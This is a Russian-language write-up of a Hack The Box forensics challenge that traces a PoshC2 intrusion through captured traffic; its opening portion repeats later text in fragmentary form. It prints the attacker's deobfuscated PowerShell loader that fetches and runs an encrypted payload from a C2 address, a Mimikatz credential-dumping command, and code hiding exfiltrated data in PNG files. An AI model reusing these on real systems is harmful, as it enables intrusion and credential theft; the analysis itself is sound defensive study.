Закрепление, постэксплуатация и эксфильтрация — три неотъемлемых этапа каждой атаки. В этой статье мы проведем расследование инцидента: поищем артефакты, сдампим сетевой трафик и деобфусцируем найденный вредоносный код. Таким образом мы восстановим действия злоумышленника и заодно познакомимся с популярными техниками, которые часто применяются «в дикой среде».
Эта статья — райтап по одному из заданий по цифровой форензике с прошедшего в марте 2023 года CTF-соревнования на Hack The Box. Уровень — сложный.
Наше задание звучит следующим образом:
Трафик передается по HTTP, то есть без шифрования. Это значит, что мы можем экспортировать переданные объекты из дампа и подробно их изучить, чтобы восстановить ход атаки, а также определить, какие методы и утилиты использовали атакующие. Для этого в меню выбираем «Файл → Экспортировать объекты → HTTP». Жмем «Сохранить все» и задаем конечную директорию.
Запишем полученный массив в переменную $fileformat, а в новом цикле переименуем файлы с расширением PNG, чтобы посмотреть, что внутри.
Интересного в самих картинках мало (это изображения собак в низком разрешении), однако внимание привлекает файл
Файлы размером около 1 Кбайт — ответы сервера на запросы («200 OK» и другие коды), и интереса такие данные для нас не представляют. Остальные файлы имеют малоразличимое содержимое, их пока оставим, а вот экспортированный сценарий PowerShell вполне читабельный, хоть и немного обфусцирован. Попробуем разобраться, что происходит в коде.
Изучая
Здесь атакующие используют обфускацию строк, подробнее об этой и других техниках можно узнать из доклада на Black Hat 2017 (PDF).
Для деобфускации можно пойти несколькими путями: воспользоваться инструментом PSDecode, использовать журнал Windows при включенном аудите сценариев PowerShell, ну или попросить разобраться ChatGPT, который тоже умеет деобфусцировать, хоть иногда и меняет исходный код на свое усмотрение.
Я воспользуюсь PSDecode. После деобфускации получаем исходный сценарий (некоторые строки я подправил вручную):
Становится понятнее. Если коротко: PowerShell здесь при помощи системной службы Windows BitsTransfer (T1197 по матрице ATT&CK) данные с C2-сервера загружаются на скомпрометированный хост, после чего загруженные данные расшифровываются по алгоритму AES-CBC-128. Для расшифровки AES c CBC-mode необходимы ключ и вектор инициализации, они как раз и указаны в сценарии.
Расшифрованные байты записываются в исполняемый файл
Для дешифровки можем воспользоваться тем же сценарием или инструментом CyberChef (но это более трудоемкий способ).
Из значения переменной
Чтобы убедиться, что работа ведется с верным пакетом, номер пакета можно сопоставить с номером экспортируемого объекта Wireshark.
Итак, все переданные файлы уже экспортированы, алгоритм, ключ и вектор у нас на руках. Получается, дело за малым: нужно лишь расшифровать данные и записать их в файл. Расшифровывать мы будем тем же сценарием vn84.ps1, только перед запуском немного его перепишем:
Теперь выполним наш скрипт и получим исполняемый файл tmp7102591.exe.
С помощью утилиты Detect It Easy мы можем убедиться, что файл не был запакован. Следом откроем его в dnSpy, чтобы подробнее изучить код.
Для взаимодействия с сервером используется функция GetWebRequest(), с ее помощью атакующие как скачивают данные с сервера, так и отправляют туда пользовательскую информацию с хоста жертвы, предварительно обработав ее (как именно — разберемся дальше). Во время скачивания на скомпрометированный хост доставляются дополнительные инструменты, которые будут использованы для развития атаки. Давай подробнее посмотрим, как происходит доставка информации на машину жертвы.
После запуска файла dropper_cs.exe выполняется первый GET-запрос на С2-сервер атакующих (
После успешной дешифровки текст выше чистится регулярками, и мы в итоге получаем:
Вся полученная информация передается через аргументы функции ImplantCore(), которая отвечает за внедрение кода.
В этой функции атакующие GET-запросами получают дополнительный исполняемый код, расшифровывают его при помощи нового ключа и исполняют на скомпрометированном хосте с определенными параметрами без записи в файл (то есть это бесфайловая атака).
Давай расшифруем файлы, чтобы определить, какие инструменты загрузили злоумышленники. Для этого вместо загрузки с сервера считаем данные из экспортированного файла
Посчитаем хеш получившегося файла и отправим на VirusTotal.
Файл — не что иное, как PoshC2, фреймворк для закрепления и постэксплуатации. Отлично!
Аналогичным образом попробуем расшифровать следующий экспортированный файл —
Запуск происходит в командной строке cmd в функции
После выполнения кода
После этого к данным добавляются случайные 1500 байт и полученная на первом этапе картинка.
Это как раз та картинка, необычный размер которой мы уже подметили в начале расследования.
Настало время изучить подробнее файл
В заголовке видим PNG, а также что после окончания PNG идут другие данные.
Чтобы узнать, что скрыто в данных, напишем свой декриптор.
В конечном счете преобразуем из Base64 и запишем получившийся байт‑код в файл
Ниже приведена получившаяся программа. Для исполнения рекомендую использовать .NET 8.0 и выше.
За кропотливую работу нас ждет награда в виде флага, который был ответом на это интересное задание.
Автор @antony-n0p
Источник xakep.ru
Эта статья — райтап по одному из заданий по цифровой форензике с прошедшего в марте 2023 года CTF-соревнования на Hack The Box. Уровень — сложный.
Наше задание звучит следующим образом:
То есть мы знаем, что сервер был скомпрометирован, и у нас есть трафик. Нас просят проанализировать дамп, провести расследование инцидента и установить, как атакующие загружали утилиты на скомпрометированный сервер, какими способами закреплялись и как производили эксфильтрацию данных. В конечном счете нам нужно будет найти флаг.«Мы заметили необычный трафик, исходящий из открытого космоса. Неизвестная группа использует сервер Command and Control. В ходе всестороннего расследования мы установили, что заражено несколько компьютеров ученых из частной лаборатории Pandora. Можешь узнать, как работает сервер, и вернуть украденное?»
ИЩЕМ АРТЕФАКТЫ В СЕТЕВОМ ТРАФИКЕ
Первым делом загрузим дамп в Wireshark. Несложно установить, что IP скомпрометированного сервера приватный — 192.168.25.140, в то время как адрес C2-сервера атакующих публичный — 64.226.84.200. Также видно, что со скомпрометированного хоста происходит обращение к стороннему ресурсу (C2-серверу) с GET-запросом по ссылке, которая оканчивается на vn84.ps1. В ответ сервер отдает сценарий на PowerShell.
Трафик передается по HTTP, то есть без шифрования. Это значит, что мы можем экспортировать переданные объекты из дампа и подробно их изучить, чтобы восстановить ход атаки, а также определить, какие методы и утилиты использовали атакующие. Для этого в меню выбираем «Файл → Экспортировать объекты → HTTP». Жмем «Сохранить все» и задаем конечную директорию.
ИЗУЧАЕМ АРТЕФАКТЫ
В глаза сразу бросается экспортированный сценарий PowerShell, однако, чтобы получить полную картину, нужно определить, с артефактами какого формата нам предстоит работать. Поэтому не будем бросаться изучать найденные скрипты, а первым делом посмотрим, что за формат у остальных экспортированных файлов. Для этого воспользуемся утилитой file и командлетом Get-ChildItem. Обойдем все файлы в цикле:
Код:
foreach ($file in (Get-ChildItem $_.Name))
Запишем полученный массив в переменную $fileformat, а в новом цикле переименуем файлы с расширением PNG, чтобы посмотреть, что внутри.
Код:
foreach ($format in $fileformat) }
%3fdVfhJmc2ciKvPOC(23).png, поскольку его размер больше других — 827 Кбайт. Похоже, помимо картинки, в нем есть что‑то еще. Возьмем этот факт на заметку и будем двигаться дальше. Поглядим, что в других файлах.
Файлы размером около 1 Кбайт — ответы сервера на запросы («200 OK» и другие коды), и интереса такие данные для нас не представляют. Остальные файлы имеют малоразличимое содержимое, их пока оставим, а вот экспортированный сценарий PowerShell вполне читабельный, хоть и немного обфусцирован. Попробуем разобраться, что происходит в коде.
Изучая
vn84.ps1, можно увидеть обфусцированные командлеты.
Здесь атакующие используют обфускацию строк, подробнее об этой и других техниках можно узнать из доклада на Black Hat 2017 (PDF).
Для деобфускации можно пойти несколькими путями: воспользоваться инструментом PSDecode, использовать журнал Windows при включенном аудите сценариев PowerShell, ну или попросить разобраться ChatGPT, который тоже умеет деобфусцировать, хоть иногда и меняет исходный код на свое усмотрение.
Я воспользуюсь PSDecode. После деобфускации получаем исходный сценарий (некоторые строки я подправил вручную):
Код:
Set-Item 'Variable:QLz0so' ([type]('System.IO.FileMode'))
Set-Variable -Name l60Yu3 -Value ([type]('System.Security.Cryptography.AesCryptoServiceProvider'))
Set-Variable -Name BI34 -Value ([type]('System.Security.Cryptography.CryptoStream'))
$Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51'
$PTF = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $path
Invoke-WebRequest -Uri $Url -OutFile $PTF
$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open))
$MS = New-Object -TypeName 'System.IO.MemoryStream'
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()
$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
$aes.Key = $KEY
$aes.IV = $iv
$cs = New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)
$decD = $MS.ToArray()
$CS.Write($decD, 0, $decD.Length)
$decD | Out-File -Path "$env:temp\tmp7102591.exe" -Encoding Byte
& "$env:temp\tmp7102591.exe"
Расшифрованные байты записываются в исполняемый файл
$env:temp\tmp7102591.exe, а затем этот файл запускается. Наша первоочередная цель — расшифровать данные и записать их в исполняемый файл для дальнейшего изучения. Это поможет узнать, что происходило на этапе закрепления.Для дешифровки можем воспользоваться тем же сценарием или инструментом CyberChef (но это более трудоемкий способ).
Из значения переменной
$Url в сценарии следует, что расшифровывать нужно поток байтов в дампе трафика с именем 94974f08-5853-41ab-938a-ae1bd86d8e51.Чтобы убедиться, что работа ведется с верным пакетом, номер пакета можно сопоставить с номером экспортируемого объекта Wireshark.
Итак, все переданные файлы уже экспортированы, алгоритм, ключ и вектор у нас на руках. Получается, дело за малым: нужно лишь расшифровать данные и записать их в файл. Расшифровывать мы будем тем же сценарием vn84.ps1, только перед запуском немного его перепишем:
- Удалим строки, в которых используется BitsTransfer.
- Исправим путь, по которому будет считываться загружаемый файл (переменная $PTF), на путь, куда мы экспортировали объекты из дампа трафика. То есть укажем полный путь до экспортированного файла
94974f08-5853-41ab-938a-ae1bd86d8e51. - Удалим последнюю строку, в которой исполняется файл (нам это сейчас ни к чему).
- Также для удобства поиска расшифрованного файла в системе сменим Out-File на Set-Content, а путь
$env:temp\tmp7102591.exeна необходимый нам и зададим кодировку -Encoding Byte.
Код:
$PTF = "C:\Users\Antony\Desktop\C2Interstellar_HTB\C2_Interstellar_CTF_Task\WShark 2\94974f08-5853-41ab-938a-ae1bd86d8e51"
$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open))
$MS = New-Object -TypeName 'System.IO.MemoryStream'
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()
$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
$aes.Key = $KEY
$aes.IV = $iv
$cs = New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)
$decD = $MS.ToArray()
$CS.Write($decD, 0, $decD.Length)
$decD | Set-Content -Path "C:\Users\Antony\Desktop\C2Interstellar_HTB\C2_Interstellar_CTF_Task\tmp7102591.exe" -Encoding Byte
С помощью утилиты Detect It Easy мы можем убедиться, что файл не был запакован. Следом откроем его в dnSpy, чтобы подробнее изучить код.
ОБВЕШИВАЕМСЯ БРЯКАМИ
Исходное название файла — dropper_cs.exe. Настало время навешать брейк‑пойнты и подать на вход экспортированные файлы, которые не удалось изучить раньше. Это позволит нам узнать, как работает дроппер.Для взаимодействия с сервером используется функция GetWebRequest(), с ее помощью атакующие как скачивают данные с сервера, так и отправляют туда пользовательскую информацию с хоста жертвы, предварительно обработав ее (как именно — разберемся дальше). Во время скачивания на скомпрометированный хост доставляются дополнительные инструменты, которые будут использованы для развития атаки. Давай подробнее посмотрим, как происходит доставка информации на машину жертвы.
После запуска файла dropper_cs.exe выполняется первый GET-запрос на С2-сервер атакующих (
http://64.226.84.200:8080) с роутом /Kettie/Emmie/Anni?Theda=Merrilee?c. Этот файл мы уже экспортировали, поэтому считаем данные из него методом ReadAllText() класса File, а строку запроса к серверу закомментируем. Вообще, можно закомментировать всю функцию GetWebRequest(), так как необходимости в ней больше нет. И установим точку останова на строке 310, чтобы посмотреть, как выглядит расшифрованная информация.
После успешной дешифровки текст выше чистится регулярками, и мы в итоге получаем:
- список роутов (по ним в дальнейшем будет запрашиваться вся необходимая информация с сервера, дополнительный инструментарий и прочее);
- дату (если она меньше текущей, имплант запущен не будет);
- время сна;
- джиттер задержки для последующих запросов GET и POST;
- новый ключ шифрования;
- implant — набор картинок в PNG, которые мы уже видели, в формате Base64.
Вся полученная информация передается через аргументы функции ImplantCore(), которая отвечает за внедрение кода.
В этой функции атакующие GET-запросами получают дополнительный исполняемый код, расшифровывают его при помощи нового ключа и исполняют на скомпрометированном хосте с определенными параметрами без записи в файл (то есть это бесфайловая атака).
Давай расшифруем файлы, чтобы определить, какие инструменты загрузили злоумышленники. Для этого вместо загрузки с сервера считаем данные из экспортированного файла
%3fdVfhJmc2ciKvPOC и расшифруем его, а потом запишем байт‑код в новый файл First_Decr.exe.Посчитаем хеш получившегося файла и отправим на VirusTotal.
Файл — не что иное, как PoshC2, фреймворк для закрепления и постэксплуатации. Отлично!
Аналогичным образом попробуем расшифровать следующий экспортированный файл —
%3fdVfhJmc2ciKvPOC(14). После дешифровки получаем SharpSploit.dll — библиотеку для постэксплуатации, которая позволяет дампить креды из lsass.exe. Она запускается со следующими аргументами:
Код:
run-dll SharpSploit.Credentials.Mimikatz SharpSploit Command "privilege::debug sekurlsa::logonPasswords"
stringBuilder.AppendLine(Program.rAsm(cmd)).
После выполнения кода
SharpSploit.dll со скомпрометированного сервера результат направлялся на сервер C2, но прежде закодированные в Base64 данные обрабатываются. Они конвертируются в массив байтов, затем сжимаются при помощи Gzip и шифруются следующей функцией:
Код:
private static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
{
byte[] array = null;
if (unByte != null)
{
array = unByte;
}
else
{
array = Encoding.UTF8.GetBytes(un);
}
if (comp)
{
array = Program.Compress(array);
}
string text;
try
{
SymmetricAlgorithm symmetricAlgorithm = Program.CreateCam(key, null, true);
byte[] array2 = symmetricAlgorithm.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
text = Convert.ToBase64String(Program.Combine(symmetricAlgorithm.IV, array2));
}
catch
{
SymmetricAlgorithm symmetricAlgorithm2 = Program.CreateCam(key, null, false);
byte[] array3 = symmetricAlgorithm2.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
text = Convert.ToBase64String(Program.Combine(symmetricAlgorithm2.IV, array3));
}
return text;
}
Код:
internal static byte[] GetImgData(byte[] cmdoutput)
{
int num = 1500;
int num2 = cmdoutput.Length + num;
string text = Program.ImgGen._newImgs[new Random().Next(0, Program.ImgGen._newImgs.Count)];
byte[] array = Convert.FromBase64String(text);
byte[] bytes = Encoding.UTF8.GetBytes(Program.ImgGen.RandomString(num - array.Length));
byte[] array2 = new byte[num2];
Array.Copy(array, 0, array2, 0, array.Length);
Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
return array2;
}
Настало время изучить подробнее файл
%3fdVfhJmc2ciKvPOC(23).png. Посмотрим на его содержимое в Hex-редакторе HxD.
В заголовке видим PNG, а также что после окончания PNG идут другие данные.
Чтобы узнать, что скрыто в данных, напишем свой декриптор.
ПИШЕМ ДЕКРИПТОР
Зная алгоритм преобразования данных, попробуем декодировать информацию. Для этого возьмем имеющиеся в коде функции:- Decrypt() — дешифрует данные AES-CBC-128, немного изменив функцию, добавив в нее декомпрессию методом Gzip и убрав лишнее преобразование из массива байтов в текст;
- CreateCam() — служит для создания алгоритма с ключом и вектором;
- Decompress() — для разархивирования данных методом Gzip.
Encoding.ASCII.GetString().В конечном счете преобразуем из Base64 и запишем получившийся байт‑код в файл
decrypted_image.png.Ниже приведена получившаяся программа. Для исполнения рекомендую использовать .NET 8.0 и выше.
Код:
using System;
using System.IO.Compression;
using System.Security.Cryptography;
using System.Text;
namespace Decryptor
{
public class Program
{
static void Main(string[] args)
{
var cmd = File.ReadAllBytes("C:\\Users\\Antony\\Desktop\\C2Interstellar_HTB\\C2_Interstellar_CTF_Task\\WShark 2\\%3fdVfhJmc2ciKvPOC(23).png");
string key = "nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=";
var text = Program.Decryption(key, cmd).Replace("\0", string.Empty);
}
static byte[] Decompress(byte[] data)
{
using (var compressedStream = new MemoryStream(data))
using (var zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
using (var resultStream = new MemoryStream())
{
zipStream.CopyTo(resultStream);
return resultStream.ToArray();
}
}
private static string Decryption(string key, byte[] arr)
{
byte[] tmp_arr = arr[1500..arr.Length];
byte[] array2 = new byte[16];
Array.Copy(tmp_arr, array2, 16);
string text = "";
try
{
SymmetricAlgorithm symmetricAlgorithm = Program.CreateCam(key, Convert.ToBase64String(array2), true);
byte[] array3 = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(tmp_arr, 16, tmp_arr.Length - 16);
byte[] arr4 = Decompress(array3);
byte[] tet = Convert.FromBase64String(Encoding.ASCII.GetString(arr4));
File.WriteAllBytes("C:\\Users\\Antony\\Desktop\\C2Interstellar_HTB\\C2_Interstellar_CTF_Task\\WShark 2\\DecodedInfo\\decrypted_image4.png", tet);
}
catch
{
SymmetricAlgorithm symmetricAlgorithm2 = Program.CreateCam(key, Convert.ToBase64String(array2), false);
byte[] array4 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(tmp_arr, 16, tmp_arr.Length - 16);
text = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(array4).Trim(new char[1])));
}
finally
{
Array.Clear(tmp_arr, 0, tmp_arr.Length);
Array.Clear(array2, 0, 16);
}
return text;
}
private static SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
{
SymmetricAlgorithm symmetricAlgorithm;
if (rij)
{
symmetricAlgorithm = new RijndaelManaged();
}
else
{
symmetricAlgorithm = new AesCryptoServiceProvider();
}
symmetricAlgorithm.Mode = CipherMode.CBC;
symmetricAlgorithm.Padding = PaddingMode.Zeros;
symmetricAlgorithm.BlockSize = 128;
symmetricAlgorithm.KeySize = 256;
if (IV != null)
{
symmetricAlgorithm.IV = Convert.FromBase64String(IV);
}
else
{
symmetricAlgorithm.GenerateIV();
}
if (key != null)
{
symmetricAlgorithm.Key = Convert.FromBase64String(key);
}
return symmetricAlgorithm;
}
}
ВЫВОДЫ
Итак, мы провели небольшое расследование и выяснили, как злоумышленник доставил на скомпрометированный хост дополнительные утилиты, выполнил вредоносный код и эксфильтровал данные со скомпрометированного узла.Автор @antony-n0p
Источник xakep.ru